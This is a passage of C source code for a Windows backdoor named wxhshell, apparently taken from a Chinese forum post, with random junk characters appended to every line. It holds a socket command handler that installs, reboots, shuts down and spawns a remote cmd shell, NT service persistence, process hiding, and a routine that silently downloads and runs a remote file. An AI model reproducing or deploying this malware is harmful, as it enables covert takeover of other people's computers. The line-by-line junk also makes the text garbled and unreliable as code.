  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T?1BcY  
  } |m's)  
  else { ?}?"m:=  
[icD*N<Gc  
    switch(cmd[0]) { x#0?$}f<  
  Qder8I  
  // 帮助 mx9vjW fy  
  case '?': { s@Q7F{z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rj=as>6B  
    break; c,1  G+.  
  } }b2YX+/e$f  
  // 安装 0nt@}\j  
  case 'i': { DtANb^  
    if(Install()) !<];N0nt#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+'Ex]B  
    else {"]!zL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2^'Ec:|f  
    break; ys`-QlkB  
    } D\Ez~.H  
  // 卸载 tX^6R  
  case 'r': { ]aPf-O*  
    if(Uninstall()) do8[wej<:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r7xA}se^  
    else 6_`Bo%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f/Y&)#g>k  
    break; [5&k{*}}  
    } `CWhjL8^  
  // 显示 wxhshell 所在路径 (2b${Q@V  
  case 'p': { cW*v))@2  
    char svExeFile[MAX_PATH]; m7k }k)  
    strcpy(svExeFile,"\n\r"); dXTD8 )&  
      strcat(svExeFile,ExeFile); )c11_1;  
        send(wsh,svExeFile,strlen(svExeFile),0); daSe0:daJ  
    break; %Y~"Stmx  
    } wNmpUO ?  
  // 重启 ]gBnzh.  
  case 'b': { Ek<Qz5)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v]SxZLa  
    if(Boot(REBOOT)) )WoH>D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Vum  
    else { utmJ>GWSI  
    closesocket(wsh); ]Za[]E8MD  
    ExitThread(0); 3jZGO9ttnS  
    } {~9zuNi  
    break; $NR[U+  
    } xb\EJ1M>  
  // 关机 3wfcGQn|sD  
  case 'd': { 6xDk3   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I(M/ X/  
    if(Boot(SHUTDOWN)) 336ETrG^0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T`e`nQ0nn  
    else { =AO (  
    closesocket(wsh); IR${a)  
    ExitThread(0); aL:|Dr3SX  
    } D?dBm  
    break; !H\;X`W|~D  
    } 1 iox0  
  // 获取shell 3@" :&  
  case 's': { M-t 9M~  
    CmdShell(wsh); ,P9F*;Dj  
    closesocket(wsh); lrJV"H  
    ExitThread(0); Pm%xX~H  
    break; /0\g!29l<  
  } ~u%$ 9IhM  
  // 退出 3zB'AG3b  
  case 'x': { WVR/0l&bU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~HIj+kN  
    CloseIt(wsh); [7}3k?42X  
    break; {dxFd-K3  
    } tMw65Xei6b  
  // 离开 U5C]zswL  
  case 'q': { ,\i*vJ#f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X$UK;O  
    closesocket(wsh); E_~e/y"-  
    WSACleanup(); CT'4.  
    exit(1); g(pr.Dw6  
    break; (#y2R F8j  
        } g7! LX[  
  } C<_\{de|9  
  } xT 06*wQ  
;+DEU0|pe  
  // 提示信息 ^`!+7!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^'=[+  
} ))AxU!*.  
  } l<1zLA~G  
]$drBk86bh  
  return; kSV(T'#x  
} )n)AmNpq   
X{x(p  
// shell模块句柄 ;h1hz^Wq  
int CmdShell(SOCKET sock) ou-#+Sdd  
{ ,marNG  
STARTUPINFO si; :,l16{^  
ZeroMemory(&si,sizeof(si)); VEy]vr}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sgO au\E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E#_/#J]UQn  
PROCESS_INFORMATION ProcessInfo; XQ=%a5w  
char cmdline[]="cmd"; dm}1"BU<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lW5Lwyt8  
  return 0; {> ,M  
} )jXKPLj  
]r#b:W\  
// 自身启动模式 D9TjjA|zS  
int StartFromService(void) Ja~8ZrcY  
{ ; =n}61  
typedef struct ho$}#o  
{ HWV A5E[`Y  
  DWORD ExitStatus; ogIu\kiZ  
  DWORD PebBaseAddress; EmaS/]X[  
  DWORD AffinityMask; c1E{J <pZ  
  DWORD BasePriority; Yeg<MrS4D  
  ULONG UniqueProcessId; J.R]) &CB  
  ULONG InheritedFromUniqueProcessId; MB;rxUbhe3  
}   PROCESS_BASIC_INFORMATION; B>1,I'/$.  
(W#CDw<ja  
PROCNTQSIP NtQueryInformationProcess; 4 xqzdR_  
:4AIYk=q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CmXLD} L_x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VWzQXo  
FdE?uw  
  HANDLE             hProcess; hrnE5=iY  
  PROCESS_BASIC_INFORMATION pbi; &Y^4>y%  
PESvx>:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Je|:\Qk  
  if(NULL == hInst ) return 0; ?GH/W#{o)  
x%s1)\^A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .tKBmq0xo"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xps \+l%i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YZ<z lU  
qeFaY74S  
  if (!NtQueryInformationProcess) return 0; mn03KF=n]  
M @KQOAzt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l@&-be  
  if(!hProcess) return 0; 0 \ U*  
a>l,H#w*vW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tv1oy%dK  
s<LnUF1b  
  CloseHandle(hProcess); x"sbm  
D7nK"]HG;l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a& 0g0n6  
if(hProcess==NULL) return 0;  K!ILO  
cWo>DuW&  
HMODULE hMod; ~ S<aIk0l  
char procName[255]; hiibPc?I  
unsigned long cbNeeded;  omg#[  
Yr"Of*VNH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &[{sA;  
)C"ixZ>2xQ  
  CloseHandle(hProcess); $1B?@~&  
%0 {_b68x  
if(strstr(procName,"services")) return 1; // 以服务启动 x*:VE57,z  
EUs9BJFP  
  return 0; // 注册表启动 :l"B NT[/  
} U"/T`f'H z  
^[.}DNR95(  
// 主模块 Q>Klkd5(  
int StartWxhshell(LPSTR lpCmdLine) /&|p7  
{ tl /i  
  SOCKET wsl; Odwf7>  
BOOL val=TRUE; 9QX!HQ|5y8  
  int port=0; I4%kYp]  
  struct sockaddr_in door; [K,P)V>K  
3O; H&  
  if(wscfg.ws_autoins) Install(); m8PS84."]M  
lTu& 9)  
port=atoi(lpCmdLine); ?\8  
I5E =Ujc_  
if(port<=0) port=wscfg.ws_port; f.$[?Fi  
d:|x e:  
  WSADATA data; C{$iuus0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PX/Y?DP  
1OExa<Zq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   g_{N^wS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J*b Je"8  
  door.sin_family = AF_INET; '*L6@e#U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M.,DXEZT  
  door.sin_port = htons(port); q 8sfG;)  
4v/MZ:%C`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l!XCYg@67  
closesocket(wsl); l0^cdl-  
return 1; ,vmn{gz  
} )bih>>H  
qD*y60~]zz  
  if(listen(wsl,2) == INVALID_SOCKET) { .-iW T4Dn  
closesocket(wsl); [/q Bvuun  
return 1; riOaqV  
} MvZa;B  
  Wxhshell(wsl); L,.~VNy-  
  WSACleanup(); jZ-s6r2=  
q/zU'7%@  
return 0; %w[Z/  
q=->) &D%  
} _p4]\LA  
<A=1]'1\r  
// 以NT服务方式启动 &*" *b\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JDR_k  
{ Uc:NW   
DWORD   status = 0; e(/F:ZEh  
  DWORD   specificError = 0xfffffff; !@ ]IJ"\  
G\ F>*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r!f UMDS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g/f6N z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XxMZU(5  
  serviceStatus.dwWin32ExitCode     = 0; TaD;_)(  
  serviceStatus.dwServiceSpecificExitCode = 0; 7^#f)Vp  
  serviceStatus.dwCheckPoint       = 0; pD({"A.x9z  
  serviceStatus.dwWaitHint       = 0; MhCU; !  
,DE>:ARZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Jn=;gtD- *  
  if (hServiceStatusHandle==0) return; 2<B'PR-??y  
C`t @tgT  
status = GetLastError(); W9w*=W )Z  
  if (status!=NO_ERROR) @I-gs(  
{ AvrvBz[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sw}O g`U  
    serviceStatus.dwCheckPoint       = 0; 6Ot~Q  
    serviceStatus.dwWaitHint       = 0; {aUTTEu  
    serviceStatus.dwWin32ExitCode     = status; S=-$:65  
    serviceStatus.dwServiceSpecificExitCode = specificError; uU3A,-{-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,.0bE 9\o  
    return; 7Q&-ObW  
  } 9\hI:rI  
=3(Auchl$Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F<b'{qf"  
  serviceStatus.dwCheckPoint       = 0; % Q6 za'25  
  serviceStatus.dwWaitHint       = 0; tgG*k$8z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m=l'9j"D  
} M\4` S&  
t?G6|3  
// 处理NT服务事件,比如:启动、停止 2lsUCQI;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M{5AQzvs  
{ vb]kh _  
switch(fdwControl) uEJ8Lmi  
{ 3<W%z]k@M  
case SERVICE_CONTROL_STOP: :6lvX$  
  serviceStatus.dwWin32ExitCode = 0;  iiQn/%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -JgNujt#9  
  serviceStatus.dwCheckPoint   = 0; M]r?m@)  
  serviceStatus.dwWaitHint     = 0; =w+8q1!o  
  { :K^J bQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V2}\]x'1  
  } VSY  p  
  return; h*l$!nEN  
case SERVICE_CONTROL_PAUSE: =XR6rR8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \wA:58 -j  
  break; 0pMN@Cz6  
case SERVICE_CONTROL_CONTINUE: '+_>PBOc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K2 M=)B  
  break; =D$ED^W  
case SERVICE_CONTROL_INTERROGATE: %a~/q0o>  
  break; 5_'lu  
}; {7goYzQsi%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4Wiy2  
} <v0`r2^S{-  
RX>P-vp  
// 标准应用程序主函数 0uDDaFS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #gV n7wq  
{ I2*rtVAP'j  
1]G)41  
// 获取操作系统版本 q_.fVn:!  
OsIsNt=GetOsVer(); d:';s~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sRD fA4/TF  
aq$ hE-{28  
  // 从命令行安装 :/|"db&`  
  if(strpbrk(lpCmdLine,"iI")) Install(); RA[j=RxK  
V+Tv:a  
  // 下载执行文件 bOj)Wu  
if(wscfg.ws_downexe) { ).5 X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NV4g5)D&L  
  WinExec(wscfg.ws_filenam,SW_HIDE); nf /*n  
} p?Azn>qBa  
lNL=Yu2p_  
if(!OsIsNt) { xW`y7Q}p  
// 如果时win9x,隐藏进程并且设置为注册表启动 \Vf:/9^  
HideProc(); g&FTX>wX  
StartWxhshell(lpCmdLine); Z#d#n!Lz  
} v~Q'm1!O4\  
else oa:YAq T  
  if(StartFromService()) /J#(8p  
  // 以服务方式启动 \A[l(aB  
  StartServiceCtrlDispatcher(DispatchTable); kCTf>sJe  
else tNT Sy =  
  // 普通方式启动 YGyv)\  
  StartWxhshell(lpCmdLine); ps 3 )d  
3 39q%j$  
return 0; bGWfMu=n  
}
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只看该作者 1 发表于: 2006-10-10
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